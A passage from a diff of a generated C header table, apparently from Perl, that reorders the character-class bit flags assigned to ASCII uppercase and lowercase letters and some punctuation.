(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+45 'E' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+46 'F' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+47 'G' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+48 'H' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+49 'I' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+4A 'J' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+4B 'K' */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+4C 'L' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+4D 'M' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+4E 'N' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+4F 'O' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+50 'P' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+51 'Q' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+52 'R' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+53 'S' */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+54 'T' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+55 'U' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+56 'V' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+57 'W' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+58 'X' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+59 'Y' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+5A 'Z' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* U+5B '[' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* U+5C '\' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* U+5D ']' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* U+5E '^' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* U+5F '_' */ (1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_WORDCHAR), /* U+60 '`' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* U+61 'a' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* U+62 'b' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* U+63 'c' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* U+64 'd' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* U+65 'e' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* U+66 'f' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* U+67 'g' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+68 'h' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+69 'i' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+6A 'j' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+6B 'k' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+6C 'l' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+6D 'm' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+6E 'n' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+6F 'o' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+70 'p' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+71 'q' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+72 'r' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+73 's' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+74 't' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+75 'u' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+76 'v' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+77 'w' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+78 'x' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+79 'y' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+7A 'z' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), +/* U+61 'a' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+62 'b' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+63 'c' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+64 'd' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+65 'e' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+66 'f' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+67 'g' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+68 'h' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+69 'i' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+6A 'j' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+6B 'k' */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+6C 'l' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+6D 'm' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+6E 'n' */ 